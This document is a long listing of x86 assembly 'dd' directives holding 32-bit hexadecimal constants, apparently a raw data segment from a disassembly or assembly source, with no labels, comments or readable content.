dd 5CDE2135h, 86CE1069h, 468079AEh, 0EC607A47h, 6A0A5E1Fh
dd 0FF96D421h, 35AAFBD7h, 0E1D6C762h, 8550EC1Eh, 0FEA7051Fh
dd 0B69DBAE1h, 0E7F4E017h, 37CE8084h, 99BEDA79h, 5A12EE05h
dd 7922E4A2h, 4F727CE4h, 0F9CF91E8h, 3FC7152Ch, 4AFA3AB1h
dd 276412D1h, 0E37A6519h, 82A3DC4Eh, 80E11FB6h, 542EF6A3h
dd 0E613F58Ch, 8B25FFC1h, 0D5AF1BD9h, 4EF70A38h, 2F3E6E79h
dd 0A647A814h, 933FC026h, 0CF2CDFCFh, 22DADAB4h, 276E8A23h
dd 6869B252h, 3A081EC8h, 3F17CFCBh, 780BEA41h, 6401369h
dd 0F393F027h, 0B68C1AF6h, 0E184D825h, 42D63C77h, 94D5B3F2h
dd 46237249h, 405049Eh, 0DC1F7684h, 5666E51h, 0A63DC81Ah
dd 155AA03Ch, 8D09C0A3h, 6F15E5E6h, 0BA31EF4Eh, 0F4DF8A1Dh
dd 46A4BEF3h, 0D3126A07h, 550CCE26h, 0EDA1397Dh, 55DD9436h
dd 88F44DC3h, 5FE1FB74h, 364F424h, 59362541h, 9FEBE273h
dd 0E7C84616h, 0A4EE6D6Ah, 65B78829h, 0EA99514Dh, 0DCB65831h
dd 88BC7C47h, 5D634A32h, 0A79062B6h, 0FD83D123h, 537FE7F4h
dd 0D20E132Ah, 95214E62h, 0F194E39Fh, 0A3099092h, 0AA62ED2Ah
dd 0D9327A03h, 9C15E90Ah, 4CD8445Bh, 1B2432Ch, 3084028Ch
dd 0F733B37Eh, 5617F762h, 462F32F1h, 0C6D99868h, 0AB923A0h
dd 0AF83DB95h, 0DE4D002Fh, 845A7F6Ch, 4AC45990h, 1EC54A44h
dd 32B5EBB4h, 0BEB22EC7h, 28BA0A90h, 0CB4FD84Bh, 0AF6BBCFh
dd 47E5FC76h, 4CED37C5h, 7D8A0BE8h, 1E7BA6FCh, 0C53943BFh
dd 3C419558h, 0DE31FDF4h, 0F2CDC5AAh, 91BD2B84h, 5581B95Bh
dd 0B7C60F1Ch, 6CF4FA11h, 0CE1DB05Ch, 0B98E0C3Eh, 7334B022h
dd 31EC0CEh, 0C5ADB68Fh, 9BB1B3DDh, 0D5030B18h, 0DE48167h
dd 598969BCh, 0EC922088h, 0EAE55FEBh, 0E7136A2Dh, 94B2D036h
dd 350E7772h, 31182E26h, 6ECF937Ah, 714AD123h, 168C712Ah
dd 39DBF0CEh, 5086CF12h, 0DD6A433Ah, 0C5C92C6Eh, 2EB2DC69h
dd 1E4B78E8h, 0F18F7DD6h, 277E1E1Ch, 0AB1420C3h, 380B17A0h
dd 0E795558Ch, 17436888h, 136C7A6Fh, 0CC269CCCh, 0E411767Dh
dd 1B4F45B7h, 95897BEEh, 9F40FE31h, 7A677153h, 0C917B31Bh
dd 0C90C4744h, 9B628F7Dh, 5334F7E2h, 0A4006918h, 9A4F03Dh
dd 89CF69CFh, 0CBC25A6Ch, 363C7665h, 0FB0FB27h, 5FC269h
dd 602A7AE9h, 0BB3374D4h, 2196C17Eh, 3F40917h, 0FCB9E040h
dd 352CA870h, 56DCAB0Fh, 0A73FA379h, 65223A0Dh, 0E69EEDADh
dd 94624173h, 0ACCE3F6Dh, 6BB95A48h, 7BD395B0h, 2AEC7B5h
dd 4F68D1FFh, 9B9E0677h, 0FFCD1FD6h, 5CE1BD9Ch, 0B06A306Bh
dd 0A426D260h, 0EA24E61Fh, 87FE40FEh, 0C206A9D3h, 9508CA83h
dd 0AC9F59AFh, 0A57ED0E9h, 6B2047BFh, 4F76A15Eh, 1D94F7FDh
dd 6AB1FBE1h, 2028F90Dh, 0C66C2ABBh, 0C1E276B6h, 0CC56C20Fh
dd 38523CCFh, 5C6989A2h, 0E8F9C4F0h, 0C7D8841Ch, 53B3EF94h
dd 840A520Ch, 17CC80h, 53078DC5h, 8992F742h, 7C0C19DAh
dd 26D69B76h, 9112C8D9h, 2AF4AAA3h, 2E8F00B3h, 273F69B1h
dd 0A71E7C83h, 3378491Ah, 0FAD381ECh, 0C42126Ch, 9F91EBDEh
dd 191F3B76h, 0C5EE11AEh, 0E2D84C30h, 43FD4A76h, 0AFF991CAh
dd 1F2EB8F8h, 2931D3B7h, 85EB4D89h, 2D6C85B9h, 72C1BB90h
dd 1C8DB91Fh, 40CF5C76h, 690DB4CAh, 0BD5419B1h, 0EC832BACh
dd 0FADF7BE4h, 7C55D675h, 1FDA813Eh, 7734CC9Eh, 0EC270B1Ah
dd 6D0599Dh, 89D6DAC0h, 80D5E22Ch, 8A8874C4h, 0EF1E7A6Dh
dd 0E1A205F3h, 0F501C27h, 2543F9A2h, 51FB84C3h, 10E6AD16h
dd 3402B54Dh, 0E0A9FBBDh, 231A5B8Bh, 75CE3EFEh, 8DC00293h
dd 489E58A1h, 614A8DB2h, 78948966h, 1E1BC68Ah, 3DD1E873h
dd 8F027BAFh, 0FF7DC036h, 0D047972Ch, 3A83EA14h, 22DF1A28h
dd 617C5035h, 965F7E6Dh, 6AE1C129h, 8CD1E6B8h, 97D30532h
dd 7FF06D68h, 0C0B83BFBh, 0E8A4942Bh, 183E7BA5h, 88C7C42Ah
dd 0F4A62FFAh, 3ABA33E8h, 7BC5711Bh, 0F85C6C63h, 8A90518Fh
dd 0F721647Dh, 0FE9FFA9Eh, 0F7614CD8h, 0E35E1BF3h, 0F65C9604h
dd 97603CDCh, 9968202Fh, 71507C05h, 4B9D0378h, 0B975CA13h
dd 3121F4D3h, 0E08AD3ACh, 8623C550h, 0AA8E0C95h, 0E9086C9Ah
dd 0B72E19BFh, 0BF476C00h, 42D7330Bh, 737D5936h, 0FF576E22h
dd 0FC86113Ah, 0E24A1888h, 0ECDA8056h, 8B133A1Bh, 2958CA52h
dd 27597F05h, 75CEC240h, 5C51000Fh, 707F094Fh, 72E1D4D6h
dd 2E440791h, 0A9AB2C25h, 44A3B3D4h, 5B8D0BF9h, 59B09E76h
dd 2436A33Bh, 0C2C1C98Fh, 288A3E89h, 0AB38AC9Ch, 1F71AF89h
dd 27257454h, 8DAE776Ah, 0CB01A361h, 402D126Bh, 6F7E1228h
dd 741B0345h, 3877D666h, 36205E54h, 1FB3B392h, 0D8764AB4h
dd 72F386D3h, 84E81D8Dh, 0CCDB0736h, 4B94228Bh, 9D6A0ACFh
dd 6FCB302Fh, 87A5E31h, 64CE42Ch, 0AA7737CDh, 0F1A34A71h
dd 7A3F74C5h, 7FE2D03h, 0A0635D54h, 0F84CE80h, 38F74738h
dd 0EE856EA0h, 0DAA6FACDh, 0ADB6BC22h, 0F471D513h, 0BB32C4B3h
dd 4A3AC272h, 9A834D6Bh, 0D52E42BFh, 0B91D0758h, 0EACC1AD5h
dd 464E4E13h, 0D5951E29h, 0D3ADA88Ah, 77667FF0h, 4FBF0FA8h
dd 9E03D70Eh, 0DDF3799Dh, 83D925C3h, 8C132313h, 0F3C1BB34h
dd 1F53D9C9h, 9ECDD6ABh, 0CB090CA1h, 3FE27913h, 0E66F95C2h
dd 4550AF5Dh, 0A02B0048h, 32D83A41h, 0D82E81Dh, 0D2DAD2DCh
dd 3A6A4A6Eh, 0CA72B04Ah, 366DC3AFh, 3C9E416Bh, 498DB0C5h
dd 11302575h, 9AABADAFh, 0EFF38ACAh, 1D99FED9h, 0C02508B5h
dd 9E086717h, 430D61B9h, 0F6DED0DCh, 4DA1F41Bh, 0FDFAFBBAh
dd 0F1369308h, 74F809DBh, 0A2772137h, 354C046Eh, 9BC7C3ADh
dd 0B5CD5105h, 266AABE6h, 90185356h, 0C9319AAEh, 60531A91h
dd 43230C81h, 6D9F19C6h, 89929DE0h, 0B1C8A9F2h, 79CFBDFEh
dd 7E23B356h, 2A3867E8h, 331420FAh, 2E6DD374h, 271BF391h
dd 8A0E79A9h, 6E3C3274h, 2EA75ED4h, 5D66E3D4h, 6B88A5B3h
dd 0DE460956h, 49827E8h, 1A584F7Bh, 0C8CB01E4h, 2BAC9B82h
dd 0B0716342h, 74D0A65Ch, 0DAFC04F7h, 0B46A7A43h, 832F2AA5h
dd 244BEA0Ch, 0C2765FD2h, 48561B45h, 823B98A9h, 3BEB99E1h
dd 0B9AB5809h, 617B0170h, 23858BCEh, 0A1506A68h, 0DB602E86h
dd 0AC16A587h, 9B5B316Ch, 0ABA507D3h, 4CE39F34h, 793E5F1Bh
dd 5EA461D5h, 0B60B8E2Ch, 0D1177E62h, 0C021B662h, 1A829DC1h
dd 0C70CACD4h, 0F9E84103h
dd 9B87BBCDh, 1147174Bh, 53687A62h, 0B1B983C0h, 936A99D7h
dd 7D9AE2B2h, 0C4B97552h, 0DCF8E075h, 0E4D2C7B1h, 6E8E250Eh
dd 56F3CB0h, 8A90FF5Eh, 0EC572FD0h, 0B9B94870h, 0CA1F62F3h
dd 76EB48DEh, 0DAA7AB1Eh, 79648CD2h, 0E9428C93h, 6CFF7C67h
dd 833C7E86h, 0A40A7E5Eh, 0A7EEFA6Fh, 0C704419Fh, 0A2840661h
dd 2A2219BCh, 9CCD6D6Eh, 0C4EA9B2Dh, 0FB3A8277h, 0BE01304h
dd 0ECB0A15Ch, 2D41659h, 0A198F30Dh, 92E37D74h, 1FD03913h
dd 5F0B1AB0h, 41DFCC52h, 7D34031Bh, 1D0D7E9Ah, 652A62BCh
dd 13B921C2h, 0E9C5FA5Ch, 66576403h, 0CEC1AA32h, 0BCB31AD1h
dd 0A182FFE2h, 3D74736h, 1B3662F2h, 3928422Eh, 94D6A4CBh
dd 4AC2E788h, 60CA1196h, 29B06985h, 0A2F87457h, 0B485F461h
dd 2D58BB50h, 1139266Eh, 3D490A4Fh, 9D394BA8h, 7DB6C335h
dd 0C201D18Dh, 0C7C95B2Eh, 9276642Ch, 4EBA099h, 0EB48751Eh
dd 0C3309A35h, 0EAF03FB6h, 56DCA04Eh, 0D3664CF9h, 26231EBh
dd 0C5D16732h, 0DD1EBEDh, 0E5F00CCAh, 77FCE000h, 0BEE3CE90h
dd 294D3F26h, 76570179h, 25C4875Fh, 0A52841FFh, 0C06A4B11h
dd 0CCFBB4DFh, 2120A9E3h, 5A7E42A6h, 22FACCE1h, 0E6E6A8E2h
dd 97D47B48h, 4680140h, 0D3874273h, 2E00210Ah, 76BC003h
dd 315651EFh, 0C101C981h, 5B61C56Fh, 8FEEA4DEh, 8C9345BBh
dd 6BFDD9A8h, 45A890C3h, 3504A64Ah, 75365208h, 5A1EC9A9h
dd 0E9C3743Fh, 0CC52ED97h, 80D82EBFh, 0F947A145h, 0B0E2426h
dd 0ECF0EB32h, 1A95DC8Ah, 0DA9622D4h, 32BE858Fh, 170200AAh
dd 27CFD71Dh, 1B298E1h, 12306BC8h, 91FA22BEh, 4A3D1166h
dd 6B79979Ch, 0DF08E61h, 0F00F450Bh, 9A2CC051h, 67CFE77h
dd 9225A72Ah, 0AE52E6CAh, 0A8225044h, 5400156Ah, 81A48F6Dh
dd 98DF24Eh, 6FE7FC31h, 33157D3Bh, 25F866B8h, 4169A784h
dd 0C0424D54h, 7874912Ah, 4DD2A29Dh, 0B017E844h, 0CCBD93B2h
dd 0E7E669CCh, 0F70B8928h, 6AFBF2Bh, 79E6411Dh, 0BA8DFA43h
dd 0EC1F1C38h, 660FF8B2h, 8440D64Eh, 37C31B00h, 7C6C89B3h
dd 3FFD3183h, 0F95442B9h, 0A6B6BAAh, 743C90Ah, 0D1D2CCFFh
dd 0C837B39h, 0E4CBEA8Ch, 0A356B4Ah, 69961D11h, 0E9C089B6h
dd 4153A85h, 7F669A8Eh, 0D9DEF844h, 0A07176EFh, 3AB2EC2h
dd 5F8782A3h, 0E3524FDEh, 389DD922h, 47209AA6h, 7A2CE945h
dd 662F6DE1h, 0FE2E6275h, 0A689F766h, 30FD88BFh, 0FAEE5845h
dd 6A07421h, 0DEF83663h, 0FD14F75h, 387AE022h, 0A913A216h
dd 0E145819Ch, 0C478B141h, 5F166D5Bh, 2BF84232h, 6B9173B7h
dd 0F4A68A11h, 30A41E09h, 0C14DDCCh, 0EC840902h, 0DFAC54A8h
dd 0A5B97945h, 98915BB8h, 29787988h, 0DEDFD265h, 0A9F88B52h
dd 760299DCh, 0A61CCF3Ch, 0A72DE8F3h, 6141EC50h, 0D720A4BAh
dd 3D9F6416h, 0D8A768F3h, 0A1502D52h, 0D89ACCE9h, 67B00256h
dd 2B1CFBCAh, 9CDEF45h, 39B2A8D0h, 36612DD7h, 19FB044Bh
dd 0CE14BCF4h, 737EA225h, 0A3D8F840h, 599A7185h, 0BCF3FA80h
dd 0F97D8400h, 0AEB775AFh, 4FD3C310h, 2EAB8BACh, 6E904E00h
dd 84AA9033h, 4739B585h, 4B9E580Eh, 0B42DB8FCh, 29010CBAh
dd 287DD9AFh, 85FA5625h, 0F12EF288h, 0DB89B058h, 8FF5DFA3h
dd 0DA858232h, 0D3A57765h, 1F9DA7CAh, 1DB8003h, 9028F509h
dd 828FB833h, 0FCDACF75h, 0C175876Bh, 0DD0E213Bh, 285CBD3Ah
dd 45ADF89Bh, 22137C69h, 6BE9B7A4h, 43C2306h, 0E74E2510h
dd 0E0105A42h, 486F684Dh, 0A46809D5h, 0E10D8DA8h, 0DC1F726Eh
dd 61BCCDF8h, 4B175CCEh, 75AAC137h, 0D02FD12h, 7422976Fh
dd 8AEF5592h, 5520E6C4h, 0E8221C35h, 36E720E3h, 2E16D29h
dd 877610A0h, 7D6A76CDh, 0B508BED4h, 0BB85F92Dh, 767CE94h
dd 718D4573h, 0FC0920DDh, 0F2783409h, 0AAA86F64h, 260AB318h
dd 0E150F0DAh, 27A44895h, 490B93EAh, 0AE70DDC2h, 4D3981D7h
dd 2426B9E8h, 0B0CAAAA4h, 2FE0DC9Ch, 381139C6h, 2E2A8DAAh
dd 849F60EAh, 0F35DB048h, 0F0ACCC4Fh, 0E962A90Ch, 0FE253B9Bh
dd 89A0215Fh, 67F004BCh, 0C175B6F3h, 0A5F1CD9Ah, 1D7F1B9Ch
dd 1FD0B251h, 0E17D6622h, 40EB6D4Ch, 2F9C7844h, 0F5A0C755h
dd 1CCC21EAh, 0A04DAC0Ah, 5B629AA4h, 26ABAE8Bh, 0B8469851h
dd 8ED69C9Eh, 0EB2413Fh, 0F5AD68FFh, 18D62A30h, 603F2E0Dh
dd 4285E66Dh, 53B696FEh, 0A2A959CDh, 3B0F18B9h, 19E05A44h
dd 52BC9E13h, 8084901Bh, 0E7840FF2h, 93122B64h, 94E2060Fh
dd 43DF2337h, 41935AFBh, 0D5CCE1E7h, 0E37C5371h, 0C406B90Eh
dd 0A7616671h, 2A86F8D8h, 5CA2C455h, 6D8A3849h, 5C1FC791h
dd 8CE1A36Ah, 0AA593584h, 8F418B39h, 19B3CADBh, 0E83CA603h
dd 0D76BA35Bh, 0B06D3EC2h, 4EC9CA85h, 97BDC3B6h, 4CBC8B39h
dd 296F95E5h, 4CEACB24h, 0DB927B55h, 953E0E4Dh, 165DFBBBh
dd 9C336FDAh, 0B8580551h, 56A9D08Bh, 4C8936EDh, 72C3FF5Dh
dd 32E2978Fh, 8373E573h, 9EFE196Dh, 5F20F94Ah, 97DB6DC2h
dd 7A500F93h, 95B8E007h, 6028A1B1h, 57F4B499h, 938B536Ah
dd 81D1DB1Dh, 7A774048h, 3418F23Ah, 4F31AE55h, 0CEB999E6h
dd 7704D09h, 0A0993060h, 6FFBFD38h, 5C0CB8D1h, 8EFA8D98h
dd 7EB5488Ch, 78137645h, 60188E44h, 30A33C25h, 9A3837CDh
dd 2487B4B3h, 5501DC26h, 0DD0B7F7Ah, 0E0CFE508h, 32FF0C28h
dd 3BB70872h, 6C6D0C16h, 22764E26h, 7593D16Eh, 95336493h
dd 98178348h, 88BC2CECh, 351E6708h, 0AF1496F0h, 8BEB5884h
dd 0FB0FAD10h, 0F285732Ah, 601CC939h, 586FA349h, 34F7DA23h
dd 0A024D9ECh, 64DA4BCEh, 9193737Ah, 9E53924Ah, 0AF03DF08h
dd 0F454CFF2h, 6513A9E1h, 7B8ADC9Ah, 0ABB80AA5h, 3AF59F65h
dd 0B28ED196h, 576002A5h, 785964C7h, 6EE27E8Bh, 2D5550E1h
dd 0A83ED27Ch, 0DD2D4EEh, 4E8CA5E9h, 1861FBF0h, 26B77D8h
dd 6F87A9EFh, 0C2652211h, 13E1D9F3h, 0B7AA40F1h, 0EE97853Ah
dd 30ABE951h, 18B5B961h, 27EFAF70h, 0E9E6E44h, 87EED128h
dd 890C38E7h, 0FF08AA94h, 0C52B5BE5h, 0A4183DC6h, 3ABD0F2h
dd 976B3653h, 0B698F740h, 0D4A9D34h, 0FC71AE2Ah, 67B2DCA9h
dd 27D6D8CAh, 0D8573BB5h, 0B3DCB315h, 649A007Dh, 64CACD3Bh
dd 3D28377Bh, 0A844AA3h, 1768AD08h, 26E01BF9h, 0AAF38916h
dd 8D9B084Fh, 112C7115h, 57DFC6E6h, 0FECBF82Eh, 0BBC0B898h
dd 0A395C3FDh, 0C9D78D42h, 0A36EC6FCh, 37BA9455h, 13B73A40h
dd 0D81F508Fh, 0AD60D140h, 0A7A298C5h, 0F26613ADh, 6AED21F3h
dd 0E1106A5Bh, 0B58AB746h, 0DD61EDEAh, 0F5DCF4B9h, 0DE7F606Fh
dd 0A28611ABh, 4D7CF339h, 6A4D99AFh, 102E181Fh, 9CA2A214h
dd 0C128E738h, 0D305C6B1h, 0E5580EAh, 0D5D2CBD4h, 498506FCh
dd 717D0B2Dh, 8AE310D2h, 6A762FCh, 0D4636E0Dh, 108AAB41h
dd 2291EAA1h, 12EEB437h, 3FD34E8Eh, 0CDCD3693h, 8BE6C43Bh
dd 7C8EFB05h, 9C15A0A0h, 2748EF6h, 0B3FE2E20h, 0A8C8F2A4h
dd 0FB9202D0h, 0E3EE0B7Dh, 3C5C4E3Dh, 80060ACFh, 29E28E45h
dd 194D32D9h, 5BB36A3Fh, 350D831Bh, 0A9EAAA83h, 0E3A2888h
dd 33D729EAh, 86B71E7Fh, 6D5D8C45h, 0E0035F46h, 0A32DAA02h
dd 0D643AA98h, 8DEB8594h, 2DFCE8ADh, 64A4994Fh, 0C2369694h
dd 5C40E13Ch, 39C55F67h, 37B6974h, 7DA6A0Ah, 0AAB8C8BBh
dd 9F02AC89h, 0E3D2F8Fh, 9989BB95h, 78BC4783h, 0FAEEBC31h
dd 66F34F62h, 9585AFE5h
dd 8AD4E5F2h, 68A10535h, 93470ECEh, 6D55B7C8h, 2D3C9584h
dd 86D76859h, 0A1DA3BB8h, 9E9AA176h, 30967835h, 0FD8CE1C4h
dd 0DCC96938h, 84A87A57h, 0B4A51671h, 3DA96538h, 9ACA6A2Ah
dd 0D0F0D19Bh, 2C70ACAAh, 0DAD9A132h, 29E4C2h, 0ACAAAB31h
dd 0F6BAB7BEh, 2D12132h, 0EF4DAA49h, 57E5EB11h, 248A700Eh
dd 0B25690D0h, 323BC37Eh, 8CB08145h, 91AB5A90h, 70264824h
dd 9355FBDFh, 2D9C5972h, 83186099h, 251D0C2Dh, 2FE40485h
dd 37D39728h, 3B28BA08h, 5A18489Dh, 0ACBE5FAAh, 0B3D89E51h
dd 0EBF0D1EAh, 56444C8Eh, 596AFAD8h, 0B1914518h, 0C24A687Ah
dd 0B2167351h, 3AFF17ACh, 3A77EF20h, 90315B5Ah, 3B53CADEh
dd 9CF6199Fh, 2B80D638h, 0D3E3654Ah, 0D316A33Fh, 0ED8AACB2h
dd 6986EC7Dh, 0D7842BB8h, 0EB6777F4h, 0EF8A676Dh, 3E72167h
dd 68787EDFh, 226B8AF3h, 1396B276h, 0C5AB861h, 5AA3BC45h
dd 0C0E7C270h, 9D8F01F4h, 35C74595h, 0E68B7402h, 266CC37Dh
dd 4D6D0AABh, 75B240C0h, 0CD3B4438h, 3CC481B7h, 0A173BFD9h
dd 0D756FF59h, 5EA42605h, 5B72A310h, 0EEB9945Fh, 1F431049h
dd 11DBDA1Ah, 8A06D6A6h, 4BE2724Eh, 4D32F1E1h, 4A90662Eh
dd 536BAD68h, 0C6BFEE46h, 0EB61CE79h, 52EEB92Dh, 47C08277h
dd 8A1FAD33h, 810DCE43h, 0BF66F998h, 64D5CCBBh, 3F8E1117h
dd 0DF844982h, 0F5E3110Ah, 112748ABh, 2B0DB5EFh, 297F478Ah
dd 0E1AECB7Eh, 0C3680889h, 3C05521Ah, 0CD247088h, 15BEE560h
dd 8731D5D4h, 0B87C784Eh, 0DE7558D5h, 0E5CF1536h, 7DC8B0F5h
dd 0C65056A9h, 8D60BE1Ah, 77F6EB6Bh, 0A9A104DDh, 65F3D053h
dd 0DDD80E48h, 61E0D5C3h, 0ED325784h, 17D34068h, 3E530D2Ch
dd 0A0578BE9h, 0DB4705CEh, 0DFB442Fh, 52F90945h, 0F72FB72Fh
dd 0C4F8D8D0h, 6CFB0A15h, 0DE73003Eh, 5E55E3D6h, 999D53E7h
dd 311A3F17h, 689A3158h, 0B72A32D4h, 26D0E7A6h, 0DB0588CEh
dd 86B80301h, 2DA9FB5Fh, 0FD2590E9h, 0F0D177D0h, 0CB776EA0h
dd 39B3DF15h, 0A08DC3F5h, 0AF9B7610h, 2AA4B138h, 655F32EDh
dd 0CD1F07C0h, 0F743B3E7h, 0C33B2300h, 787ECE39h, 0B6B46851h
dd 0C5A397D8h, 874EA341h, 610C25F1h, 0CFA00AC8h, 0DDAD92CCh
dd 0A23BFB9Dh, 3072B919h, 0DA161F6Eh, 0C536F586h, 0FE3E1113h
dd 0DB6F1517h, 7D7E8EB3h, 5CB976CFh, 9049B0FCh, 4D4E06B4h
dd 9A61468Dh, 3C19B014h, 65E5C2E3h, 508DF7A2h, 0F169C4D4h
dd 407E8262h, 91EDEBDBh, 69E10F66h, 65F66071h, 915F0D35h
dd 583BD30Ch, 7C540EE4h, 5347DA02h, 0DFDEE5A7h, 1835B14Bh
dd 0B7D2D250h, 3804E25Dh, 55C2FFC2h, 77100355h, 70A4BF52h
dd 0D681345Fh, 7168B178h, 3F3A5443h, 9A4ADC4Ch, 2B35F73Ah
dd 70568D8h, 138114C8h, 61FFAFC3h, 0EC894265h, 0A04C222Ch
dd 8CA3947Ch, 0E3589476h, 0D8373D69h, 9CD735BEh, 0B41B8FB6h
dd 0BA4906B9h, 5C945221h, 0F120A45Ah, 6A951D8Fh, 0D2FB82FDh
dd 4F067BD0h, 0CD00FEF6h, 0E9D7A55Ch, 8BF81487h, 7D96BE76h
dd 4B36AD56h, 213CF32h, 6915F9A5h, 0B9291421h, 0E299D9FBh
dd 1E2FF72Ch, 81102BD6h, 0E527F6FDh, 69B5B918h, 53863CFFh
dd 7BA0D1B0h, 6A44223Fh, 5AA29A13h, 0C758E976h, 11AD7A5Ah
dd 2F14BD67h, 0AA947B16h, 5A62A954h, 31AC7679h, 0D8918BDBh
dd 0DBF300A8h, 0C87BEB91h, 1FCD12E8h, 0B53051C5h, 292CA4E1h
dd 1157DFB4h, 8E7936E8h, 968C1B7Dh, 0DBFBBB69h, 570EEFADh
dd 0D56B2AB7h, 0B3AA4762h, 0E56A00F4h, 3ECE43B5h, 9FC8E085h
dd 0B24DABCh, 0A6F2DD0h, 57BF02F2h, 0EA218778h, 6B25A7C8h
dd 254A52F5h, 0A93AFD37h, 0ABAA1368h, 0A012E22Fh, 57ABC476h
dd 3B1F849h, 6CAAE32Ch, 0F1AC2F4h, 6E478420h, 27692F05h
dd 41791A9Dh, 1E2EC110h, 80BAAF17h, 1272A72Bh, 709205E9h
dd 0C5415D57h, 7EDCE738h, 439559BFh, 5FD30EF7h, 7A5648EAh
dd 0F6F9DE65h, 166AE7F2h, 23403CFDh, 2A5B6785h, 0B022B651h
dd 7C8445D6h, 889A4B1Ah, 0B9BDBE4Bh, 0D4F4E88Eh, 337272B2h
dd 82390D6Eh, 0DF4D7666h, 0E89356h, 3D0C8CD4h, 0F4FDE94Ch
dd 0C9FAD958h, 3ED9C797h, 0D98CC6DCh, 5E83E7ABh, 2E3C67Ch
dd 0BCD74DBBh, 16BC3183h, 0BC029831h, 0D4E949DCh, 62009CBAh
dd 40C818ACh, 0EE7B5DDAh, 24DCE485h, 359A0D79h, 740AAD1Ah
dd 0B121EA50h, 5A73C13h, 0D8014691h, 548A9E45h, 5FC5FA4h
dd 0D446F6C8h, 9862C1CEh, 88329A09h, 8413C899h, 7F3EF3DBh
dd 64F4631Dh, 0BAA528ABh, 8ED1FA32h, 56165B6Eh, 0DA180AF0h
dd 0B699DB1Ch, 0F330D1E9h, 9042C9E9h, 3874443h, 63A36981h
dd 22C0D56Dh, 2F04994Bh, 0BDD679F5h, 7AD0F861h, 98FEBC84h
dd 0FC9814EBh, 0FC76E5D3h, 78529019h, 0A54319Fh, 54C0751Fh
dd 15BBAB58h, 4897958Dh, 0C9B3B6CBh, 44E2BAA7h, 0D27968CDh
dd 67A96094h, 8AD5B35Eh, 4AC75330h, 0C4FA5F23h, 17A043B7h
dd 7D293168h, 1259FD0Dh, 6DCC97h, 7BC71E41h, 0DF59169Ah
dd 0B09CDF7Fh, 0A3BA2B47h, 0A8E82BE2h, 0E2D03D46h, 96F9AF6Dh
dd 0E9F368CDh, 6A541EB6h, 791E83B3h, 47D2FC9Dh, 2B7C5FCBh
dd 5B2C0D03h, 4167554h, 75047177h, 201ABD76h, 956F9B8Ch
dd 833EB725h, 69D7D695h, 36D56FB8h, 97329C45h, 0FA2CBDACh
dd 23D8DAD0h, 37A28BC5h, 0CA5D25DFh, 2EE446F6h, 1E3243E5h
dd 9DBEB383h, 283ABD5Eh, 0FB6FC123h, 0DF33AE46h, 0EDE3CD78h
dd 0ECF84F4Bh, 5E99FE75h, 60083C73h, 0A66129ECh, 6CF1EC6Ah
dd 666A2B46h, 0D933D3FDh, 0D2CE6419h, 0D9D122DAh, 0E6CD0AE1h
dd 0D265A804h, 5985BA3Fh, 0A9347B3Ah, 7A8A23D7h, 0BA2A1C59h
dd 0F302B73Ch, 32F98DB1h, 0C89B7C75h, 0F69B8408h, 4C17B56h
dd 0D7534383h, 0C6977AB3h, 0A9F086BFh, 0AADFC2B9h, 405F2AE0h
dd 0E7FFA54Eh, 1BE9E99h, 40F0D67Ah, 0BDB6633Dh, 0A9368B30h
dd 4352BDD5h, 6338981h, 8981A3Dh, 0A33BEBBAh, 7CA2A126h
dd 6573C5ADh, 764E97AFh, 8F71BF56h, 2EB44F31h, 5E402B70h
dd 761D0169h, 0BEC81A11h, 0D10BECB7h, 0F175DC33h, 89DB8E3Ch
dd 0FFB29AE6h, 0EFC00C78h, 7B3CFB78h, 1AF91E35h, 36B06D75h
dd 265A570Dh, 0C57FA77Ah, 0A02B04C7h, 0C3587C22h, 0E72E15C6h
dd 0AFEAA66h, 7F84436Fh, 841CFADFh, 72A591A9h, 0B00C494h
dd 202C37Ah, 0E4B5F71Ch, 247F47B4h, 345F4084h, 8E813068h
dd 0B7F9AB6Ch, 3DC73D05h, 0FD1A8DB0h, 42DA6502h, 11AAD3F0h
dd 7BEBEB9Ch, 0CA236954h, 97E9BBC3h, 0EA5173F3h, 4CA3DEDAh
dd 0FB781C28h, 0E6CFE2B1h, 0AC9B3D26h, 4B9D60Ch, 0DEC141B5h
dd 2E26353Ch, 3B73B752h, 4063FC06h, 0B96205E8h, 3BE41C13h
dd 0F505ADD0h, 0F11E8089h, 7D970D07h, 765DEBEFh, 2ACF3C8Ch
dd 0CDD98D61h, 126F89BCh, 0B704DDB6h, 1A1E5E90h, 0CAD3922Ch
dd 4282DFB3h, 9B1B6088h, 35E54426h, 0F188C0F1h, 8A5FF1CCh
dd 29413E97h, 8533A0DFh, 0C126E3C7h, 91D2B5F3h, 82C6FBB2h
dd 54DDD8CEh, 0A67552E5h, 9ABA3F54h, 2A8217DEh, 0B552A11h
dd 2F8FA112h, 0E4F9C383h, 919E2A3Ah, 21B1FD07h, 4588491Dh
dd 0BC16BD5Ch, 4691985Bh, 32E757E1h, 0A575F13h, 5CB22567h
dd 0C6DD8150h, 6957FE56h, 37FC5CF7h, 63831FDFh, 74EB1D2Fh
dd 7045DE66h, 0B080430Fh, 0CC7B9AD5h, 84474CF2h, 0F8DCE40h
dd 2ABF2FDh, 0BA100C8Ah, 2608CD63h, 2A2F8229h, 0BFC47167h
dd 0FB24DDDh, 65A58D63h
dd 1306F983h, 0BDB345CBh, 814CC6BBh, 0BA3A5A19h, 0DF15D0C8h
dd 9AAC27D7h, 3B5E0394h, 62979C8Fh, 342E7C2Dh, 245B4606h
dd 0B5B3A889h, 0B8484EBFh, 0DD959738h, 0FE7080EDh, 0B3782F85h
dd 0E15A53CDh, 0AE6DEB61h, 0FDE35D87h, 192FAC17h, 0BFEDC5CDh
dd 0ABF32AB1h, 6BD1C01Eh, 0AC991EEh, 0DAC443A8h, 0F003A812h
dd 0D5BB856Bh, 0FE79DDF4h, 0DA0700DBh, 0E024DA9h, 0B03AD7E3h
dd 0E72AE315h, 8C8D3263h, 0EDFB245Eh, 6443855Eh, 0FB61529Fh
dd 0DFF26B3Eh, 0AA87FD4Dh, 5AFC4116h, 1BB762B6h, 51CDB883h
dd 8001E565h, 9FF88FE1h, 3702FDD7h, 0BE382BF4h, 819AD47Fh
dd 8FE9F9B0h, 0DD536FCh, 7B5C947Ch, 0C40AC037h, 164458FFh
dd 0D3A72F8h, 0AD19530Eh, 2EE47F10h, 70E5C982h, 0AF5EDADh
dd 86121381h, 1BC6BB97h, 78D0603Bh, 893F4539h, 0EAAE722Ah
dd 0F3BF8D56h, 0E82098CEh, 0F2D1D015h, 23891114h, 0C6A0FD83h
dd 9338EAD0h, 0DCE88EEFh, 6C2FDF92h, 0E49D52Eh, 0C291CA4Fh
dd 0C8BCCA68h, 0A64DC921h, 95F390F9h, 5FDE3E2Bh, 303C692Bh
